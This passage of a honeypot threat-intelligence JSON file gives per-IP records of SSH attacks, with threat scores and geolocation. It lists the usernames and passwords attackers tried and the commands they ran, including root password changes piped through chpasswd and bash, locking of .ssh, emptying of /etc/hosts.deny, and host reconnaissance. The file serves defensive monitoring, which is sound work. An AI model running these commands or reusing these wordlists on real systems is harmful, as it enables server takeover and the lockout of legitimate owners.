        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "114.139.79.103": {
      "attack_count": 206,
      "first_seen": "2026-05-22T20:37:55.241Z",
      "last_seen": "2026-05-23T07:45:27.389Z",
      "sessions": 103,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 312,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:37:55.241000+00:00",
        "last_seen_30d": "2026-05-23T07:46:36.441000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 206,
        "Suricata": 106
      }
    },
    "131.161.249.165": {
      "attack_count": 199,
      "first_seen": "2026-05-05T23:58:25.874Z",
      "last_seen": "2026-05-06T00:40:31.493Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "administrator",
        "345gs5662d34",
        "admin1",
        "elasticsearch",
        "ftp_id",
        "ftpadmin",
        "guest",
        "jenkins",
        "root2",
        "user3"
      ],
      "passwords_attempted": [
        "12345",
        "!QAZ#EDC",
        "1111",
        "123",
        "123!",
        "123.123a",
        "123123",
        "123456Aa!",
        "123456qwerty@",
        "1234qwer!",
        "15975328",
        "2026.com",
        "3245gs5662d34",
        "345gs5662d34",
        "6y7u8i9o",
        "@Tx123456",
        "Paris2025",
        "Password123",
        "Password@123",
        "Qq123123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Password123\\nt8h3Bnj9hDoR\\nt8h3Bnj9hDoR\\n\"|passwd",
        "echo -e \"Password123\\nt8h3Bnj9hDoR\\nt8h3Bnj9hDoR\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Juiz de Fora",
      "asn": 264403,
      "as_org": "CMTECH Com.e Serv.de Informatica Ltda",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T23:58:25.874000+00:00",
        "last_seen_30d": "2026-05-06T00:40:39.673000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 61
      }
    },
    "45.229.38.141": {
      "attack_count": 180,
      "first_seen": "2026-05-24T12:27:32.709Z",
      "last_seen": "2026-05-24T13:53:21.540Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Formosa",
      "asn": 266704,
      "as_org": "TELEVISION ORIENTADA S.A.",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:27:32.709000+00:00",
        "last_seen_30d": "2026-05-24T14:03:30.187000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 180,
        "Suricata": 112
      }
    },
    "86.102.131.54": {
      "attack_count": 173,
      "first_seen": "2026-05-20T10:51:41.790Z",
      "last_seen": "2026-05-20T11:25:18.670Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "!QAZ2wsx#",
        "0000",
        "0racle",
        "2009",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin666",
        "abcdef",
        "asdf1234",
        "bagabu",
        "bastos",
        "bitchesrule",
        "brandon",
        "candy123",
        "claude",
        "cristal",
        "kara",
        "lucio",
        "mich",
        "mozart"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:6OLbX2jHcWWO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 12332,
      "as_org": "Rostelecom",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T10:51:41.790000+00:00",
        "last_seen_30d": "2026-05-20T11:26:23.534000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 52
      }
    },
    "210.183.21.53": {
      "attack_count": 164,
      "first_seen": "2026-05-25T06:33:59.300Z",
      "last_seen": "2026-05-25T08:11:39.346Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "work",
        "345gs5662d34",
        "aaa",
        "cloud",
        "curl",
        "daniela",
        "git",
        "moshe",
        "tk"
      ],
      "passwords_attempted": [
        "$#@!ergean*(",
        "12312300",
        "123456",
        "123QWEqwe@",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin001",
        "Cq123456",
        "Servidor1",
        "Uc123456",
        "Wangsu@2017",
        "daniela",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "hello",
        "moshe",
        "qaz123456.",
        "server@2021",
        "tk",
        "welltech12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"work123\\nUmdUhzDZsJfe\\nUmdUhzDZsJfe\\n\"|passwd",
        "echo -e \"work123\\nUmdUhzDZsJfe\\nUmdUhzDZsJfe\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Hwaseong-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 225,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T06:33:59.300000+00:00",
        "last_seen_30d": "2026-05-25T08:12:46.214000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 164,
        "Suricata": 61
      }
    },
    "211.170.168.202": {
      "attack_count": 157,
      "first_seen": "2026-05-11T10:12:53.759Z",
      "last_seen": "2026-05-30T08:30:14.135Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user1",
        "345gs5662d34",
        "csgo",
        "git",
        "michael",
        "nexus",
        "postgresql",
        "saas",
        "scheduler",
        "steam",
        "terrariaserver",
        "tom",
        "ubuntu",
        "webftp"
      ],
      "passwords_attempted": [
        "!QAZ2wsx",
        "!QAZ2wsx3edc",
        "123456abc!",
        "3245gs5662d34",
        "345gs5662d34",
        "admin123",
        "ch4ng3m3",
        "csgo",
        "kafka@123",
        "michael",
        "password",
        "postgresql",
        "qwerty",
        "root12345",
        "saas123",
        "scheduler",
        "terraria",
        "test",
        "webftp"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ch4ng3m3\\n3jypAG9hfbaP\\n3jypAG9hfbaP\\n\"|passwd",
        "echo -e \"ch4ng3m3\\n3jypAG9hfbaP\\n3jypAG9hfbaP\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "nproc || grep -c processor /proc/cpuinfo",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Gangnam-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.1,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 202,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T10:12:53.759000+00:00",
        "last_seen_30d": "2026-05-30T08:31:18.829000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 157,
        "Suricata": 45
      }
    },
    "104.243.38.174": {
      "attack_count": 126,
      "first_seen": "2026-05-10T14:56:57.666Z",
      "last_seen": "2026-05-29T04:54:43.308Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 47.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.7,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:56:57.666000+00:00",
        "last_seen_30d": "2026-05-29T04:55:47.854000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 63
      }
    },
    "103.14.79.201": {
      "attack_count": 124,
      "first_seen": "2026-05-23T15:40:30.060Z",
      "last_seen": "2026-05-23T16:23:24.895Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "openhabian",
        "345gs5662d34",
        "alex",
        "aroot",
        "mark",
        "ts3"
      ],
      "passwords_attempted": [
        "1234.com",
        "123@Admin",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa!123456",
        "Aa102030",
        "Azerty123",
        "alex1234",
        "aroot",
        "mark",
        "openhabian",
        "softlayer",
        "ts3"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"openhabian\\nwS7dJmkxp9Rm\\nwS7dJmkxp9Rm\\n\"|passwd",
        "echo -e \"openhabian\\nwS7dJmkxp9Rm\\nwS7dJmkxp9Rm\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 38001,
      "as_org": "NewMedia Express Pte Ltd",
      "threat_score": 25.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T15:40:30.060000+00:00",
        "last_seen_30d": "2026-05-23T16:24:29.496000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 124,
        "Suricata": 32
      }
    },
    "134.213.221.123": {
      "attack_count": 76,
      "first_seen": "2026-05-04T08:04:14.911Z",
      "last_seen": "2026-05-04T08:07:33.319Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 15395,
      "as_org": "Rackspace Ltd.",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T08:04:14.911000+00:00",
        "last_seen_30d": "2026-05-04T08:08:41.142000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 39
      }
    },
    "35.195.139.241": {
      "attack_count": 72,
      "first_seen": "2026-05-07T11:02:58.838Z",
      "last_seen": "2026-05-07T11:04:03.458Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2276",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 6.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T11:02:58.838000+00:00",
        "last_seen_30d": "2026-05-07T11:05:12.857000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 41
      }
    },
    "34.140.181.131": {
      "attack_count": 71,
      "first_seen": "2026-05-15T07:53:00.607Z",
      "last_seen": "2026-05-15T07:53:50.263Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 6459",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-15T07:29:13+00:00",
        "last_seen_30d": "2026-05-15T07:55:00.244000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 45,
        "Mailoney": 3
      }
    },
    "34.38.9.57": {
      "attack_count": 71,
      "first_seen": "2026-05-02T03:36:34.719Z",
      "last_seen": "2026-05-02T03:37:13.029Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5217",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:36:34.719000+00:00",
        "last_seen_30d": "2026-05-02T03:38:23.065000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "34.62.250.222": {
      "attack_count": 71,
      "first_seen": "2026-05-03T07:15:45.724Z",
      "last_seen": "2026-05-03T07:16:19.447Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 2322",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:15:45.724000+00:00",
        "last_seen_30d": "2026-05-03T07:17:28.713000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "184.154.95.137": {
      "attack_count": 66,
      "first_seen": "2026-05-09T22:28:31.209Z",
      "last_seen": "2026-05-27T04:37:31.868Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 40.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.9,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 77,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T22:28:31.209000+00:00",
        "last_seen_30d": "2026-05-27T04:38:39.326000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 33
      }
    },
    "115.190.24.246": {
      "attack_count": 59,
      "first_seen": "2026-05-20T02:18:26.766Z",
      "last_seen": "2026-05-20T02:49:30.486Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "a111111",
        "tijdelijk",
        "zxin10"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "echo \"root:sWkRtEHYHc1B\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "w",
        "which ls"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:18:26.766000+00:00",
        "last_seen_30d": "2026-05-20T02:59:34.267000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 59,
        "Suricata": 14
      }
    },
    "200.225.104.105": {
      "attack_count": 58,
      "first_seen": "2026-05-23T08:29:12.118Z",
      "last_seen": "2026-05-23T13:41:43.816Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Auril\u00e2ndia",
      "asn": 61773,
      "as_org": "G+ NETWORK TELECOM EIRELI - ME",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:29:12.118000+00:00",
        "last_seen_30d": "2026-05-23T13:42:47.101000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 58,
        "Suricata": 30
      }
    },
    "103.203.57.2": {
      "attack_count": 56,
      "first_seen": "2026-05-03T01:56:06.792Z",
      "last_seen": "2026-05-31T06:54:49.596Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 136180,
      "as_org": "Beijing Tiantexin Tech. Co., Ltd.",
      "threat_score": 56.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.5,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T01:56:06.792000+00:00",
        "last_seen_30d": "2026-05-31T06:55:55.017000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 56,
        "Suricata": 56
      }
    },
    "184.154.78.61": {
      "attack_count": 54,
      "first_seen": "2026-05-03T16:15:11.544Z",
      "last_seen": "2026-05-18T11:10:27.983Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 24.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T16:15:11.544000+00:00",
        "last_seen_30d": "2026-05-18T11:11:35.027000+00:00",
        "days_since_last_seen": 13
      },
